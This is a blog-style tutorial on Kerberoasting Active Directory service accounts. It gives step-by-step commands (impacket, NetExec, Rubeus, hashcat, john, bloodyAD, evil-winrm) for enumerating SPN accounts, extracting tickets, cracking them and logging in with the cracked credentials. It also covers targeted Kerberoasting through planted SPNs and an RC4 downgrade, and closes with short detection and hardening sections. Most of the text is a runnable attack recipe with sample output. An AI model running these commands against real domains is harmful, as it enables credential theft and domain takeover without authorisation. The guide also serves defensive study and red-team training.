Kerberoasting: From a Standard Domain User to Cracked Service Accounts
A hands-on, end-to-end guide to Kerberoasting — how it works, every command (enumerate, request, extract, crack), targeted Kerberoasting against users with no SPN, plus the encryption-downgrade trick, detection, and hardening.
Kerberoasting is one of the most dependable moves in an Active Directory engagement: any authenticated domain user can ask the KDC for a service ticket, and that ticket is encrypted with the service account's password hash. Take it offline, crack it, and you own the service account — frequently a high-privilege one. No exploit, no admin rights, almost nothing on the wire.
This post walks the whole thing end to end with real commands, then covers targeted Kerberoasting (against accounts that don't even have an SPN yet), the RC4 downgrade trick, detection, and how defenders shut it down.
Why it works — a 30-second Kerberos refresher
When a user wants to use a service, Kerberos hands them a service ticket (TGS) for that service's Service Principal Name (SPN). Crucially, the ticket is encrypted with the service account's long-term key (its NTLM/AES hash). The KDC does not check whether you're actually allowed to use the service — it just hands over the ticket.
So an attacker requests a ticket for a juicy SPN, never contacts the service, and cracks the encrypted blob offline. If the service account has a weak password, it falls — and service accounts are notorious for old, human-chosen passwords that never rotate.
Prerequisites
- One valid domain account (any standard user) and network reach to a Domain Controller.
- Tools:
impacket,NetExec (nxc),hashcat/john, and on WindowsRubeus.
Sync your clock first. Kerberos rejects requests skewed more than 5 minutes from the DC (
KRB_AP_ERR_SKEW). This is the #1 cause of "it should work but doesn't":
okymi@Mr.Fool:~$ sudo ntpdate -u 10.10.10.10
okymi@Mr.Fool:~$ sudo rdate -n 10.10.10.10 # alternative if ntpdate is unavailableStep 1 — Find accounts with an SPN
Every command below uses the standard user j.doe. First, list the roastable accounts.
okymi@Mr.Fool:~$ impacket-GetUserSPNs corp.local/j.doe:'Summer2025!' -dc-ip 10.10.10.10
ServicePrincipalName Name MemberOf PasswordLastSet
------------------------------ -------- ----------------------------------- -------------------
MSSQLSvc/sql01.corp.local:1433 svc_sql CN=Domain Admins,CN=Users,DC=corp... 2021-03-08 14:02:11
HTTP/web01.corp.local svc_web CN=Web Admins,CN=Users,DC=corp... 2020-11-19 09:41:55NetExec finds and roasts in one shot:
okymi@Mr.Fool:~$ nxc ldap 10.10.10.10 -u j.doe -p 'Summer2025!' --kerberoasting kerb.hashesPure LDAP, if you only want to enumerate:
okymi@Mr.Fool:~$ ldapsearch -x -H ldap://10.10.10.10 -D 'j.doe@corp.local' -w 'Summer2025!' \
-b 'dc=corp,dc=local' '(&(objectClass=user)(servicePrincipalName=*))' \
sAMAccountName servicePrincipalNameOn Windows, with PowerView or Rubeus:
okymi@Mr.Fool:~$ Get-DomainUser -SPN | select samaccountname,serviceprincipalname
okymi@Mr.Fool:~$ Rubeus.exe kerberoast /stats # how many, and which encryption typesStep 2 — Request and extract the tickets
Ask for the tickets and dump them in hashcat format:
okymi@Mr.Fool:~$ impacket-GetUserSPNs corp.local/j.doe:'Summer2025!' -dc-ip 10.10.10.10 \
-request -outputfile kerb.hashes
[*] Saved TGS for svc_sql to kerb.hashes
[*] Saved TGS for svc_web to kerb.hashes
okymi@Mr.Fool:~$ head -c 120 kerb.hashes
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local~1433*$a1b2c3...Target a single account instead of everything (quieter):
okymi@Mr.Fool:~$ impacket-GetUserSPNs corp.local/j.doe:'Summer2025!' -dc-ip 10.10.10.10 \
-request-user svc_sql -outputfile svc_sql.hashWindows / Rubeus equivalents:
okymi@Mr.Fool:~$ Rubeus.exe kerberoast /outfile:kerb.hashes
okymi@Mr.Fool:~$ Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql.hashThe
$23$matters.$krb5tgs$23$means the ticket is RC4-HMAC (etype 0x17) — the fastest to crack.$17$/$18$are AES-128/AES-256. More on forcing RC4 below.
Step 3 — Crack the hash offline
This is where the real work happens, entirely on your own machine — silent on the network.
# RC4 (etype 23) — the common case
okymi@Mr.Fool:~$ hashcat -m 13100 -a 0 kerb.hashes /usr/share/wordlists/rockyou.txt
# AES-128 / AES-256 tickets (etype 17 / 18)
okymi@Mr.Fool:~$ hashcat -m 19600 -a 0 kerb.hashes rockyou.txt # AES-128
okymi@Mr.Fool:~$ hashcat -m 19700 -a 0 kerb.hashes rockyou.txt # AES-256Or with John the Ripper:
okymi@Mr.Fool:~$ john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt kerb.hashes
okymi@Mr.Fool:~$ john --show kerb.hashes
svc_sql:P@ssw0rd_2021:...Step 4 — Use the cracked credentials
okymi@Mr.Fool:~$ nxc smb 10.10.10.10 -u svc_sql -p 'P@ssw0rd_2021'
SMB 10.10.10.10 445 DC01 [+] corp.local\svc_sql (Pwn3d!)
okymi@Mr.Fool:~$ evil-winrm -i 10.10.10.10 -u svc_sql -p 'P@ssw0rd_2021'Because svc_sql above was a member of Domain Admins, a single cracked service password ends the engagement. That is exactly why Kerberoasting is so prized.
Targeted Kerberoasting — when the victim has no SPN
What if BloodHound shows you can write to a privileged user, but that user has no SPN, so they're not roastable? You give them one. If you hold GenericWrite, GenericAll, or WriteProperty over an account, you can set a temporary servicePrincipalName, roast it, and remove it.
The cleanest way is targetedKerberoast.py, which adds the SPN, roasts, and removes it automatically:
okymi@Mr.Fool:~$ python3 targetedKerberoast.py -d corp.local -u j.doe -p 'Summer2025!' \
--request-user h.victim
[+] Printing hash for (h.victim)
$krb5tgs$23$*h.victim$CORP.LOCAL$h.victim*$f00d...Or do it by hand with the underlying primitives:
# 1) Write a fake SPN onto the victim
okymi@Mr.Fool:~$ bloodyAD --host dc01.corp.local -d corp.local -u j.doe -p 'Summer2025!' \
set object h.victim servicePrincipalName -v 'MrFool/roast'
# 2) Roast that account
okymi@Mr.Fool:~$ impacket-GetUserSPNs corp.local/j.doe:'Summer2025!' -dc-ip 10.10.10.10 \
-request-user h.victim -outputfile victim.hash
# 3) Clean up — remove the SPN you added
okymi@Mr.Fool:~$ bloodyAD --host dc01.corp.local -d corp.local -u j.doe -p 'Summer2025!' \
set object h.victim servicePrincipalName# Windows / PowerView equivalent
okymi@Mr.Fool:~$ Set-DomainObject -Identity h.victim -Set @{serviceprincipalname='MrFool/roast'}
okymi@Mr.Fool:~$ Set-DomainObject -Identity h.victim -Clear serviceprincipalname # cleanupAlways clean up. A stray SPN on a user account is both suspicious and a loose end.
targetedKerberoast.pyremoves it for you; if you set it manually, clear it manually.
The RC4 downgrade trick
Modern accounts may only return AES tickets (etype 17/18), which crack far slower. Attackers prefer RC4 (etype 23). Rubeus can request the RC4 variant via tgtdeleg even when the account supports AES:
okymi@Mr.Fool:~$ Rubeus.exe kerberoast /tgtdeleg /outfile:kerb_rc4.hashes
okymi@Mr.Fool:~$ Rubeus.exe kerberoast /rc4opsec /outfile:kerb_rc4.hashes # only roast RC4-eligible accountsThis is also a useful detection signal for defenders: a sudden flurry of RC4 service-ticket requests where AES is the norm is a strong Kerberoasting indicator.
Detection
Kerberoasting is hard to prevent at request time — asking for a ticket is normal Kerberos. Detection focuses on anomalies in service-ticket requests (Semperis, BeyondTrust):
| Signal | What to look for |
|---|---|
| Event 4769 (TGS requested) | Ticket Encryption Type 0x17 (RC4) when your environment is AES-normal |
| Volume | One account requesting many distinct SPNs in a short window |
| Off-hours / odd source | Service-ticket bursts from a workstation that never normally does this |
| Honeypot SPN | A decoy account whose SPN nobody should ever request — any 4769 for it is malicious |
| Targeted variant | Event 5136 — servicePrincipalName added to a user, then removed shortly after |
Hardening
Defenses that actually move the needle (Enzoic, Semperis):
- Use (group) Managed Service Accounts. gMSA/dMSA passwords are 120+ characters, random, and auto-rotated — effectively uncrackable.
- Long, random passwords (25+ chars) for any service account that can't be a gMSA; screen against breached-password lists.
- Kill RC4. Set service accounts to AES-only (
msDS-SupportedEncryptionTypes) so attackers can't downgrade. - Least privilege. Service accounts should almost never be in Domain Admins; review and strip SPNs you don't need.
- Deploy a honeypot SPN with alerting, and monitor Event 4769 for RC4 and volume anomalies.
- Tighten ACLs to prevent the targeted variant — audit who can write
servicePrincipalNameon privileged users (BloodHound'sGenericWrite/GenericAlledges).
Conclusion
Kerberoasting turns a single low-privileged account into a foothold on every weakly-protected service account in the domain — and the targeted variant extends that to any user you can write to, SPN or not. The attack is cheap, quiet, and reliable; the defense is equally clear: gMSAs, AES-only, least privilege, and watch your 4769s.
Sources & further reading
- Kerberoasting: A Hands-On Active Directory Attack from a Standard Domain User — Maheshwaran
- Kerberoasting Explained — Semperis
- Kerberoasting Protection — Enzoic
- Kerberoasting Detections — BeyondTrust
Related: Active Directory Attack Paths · BloodHound queries · Kerberos cheat sheet · NetExec
Related
Active Directory Attack Paths: Foothold to Domain Admin
The reliable AD kill chain — foothold to Domain Admin — with verified impacket / NetExec / Certipy / bloodyAD commands, Windows (Rubeus) equivalents, BloodHound path-finding, ACL abuse, DCSync, and golden-ticket persistence.
BloodHound Cheat Sheet — Collection & Cypher Queries
End-to-end BloodHound reference — spin up BloodHound CE, collect with SharpHound / bloodhound-python / NetExec, mark owned nodes, and run the Cypher queries that actually find paths to Domain Admin.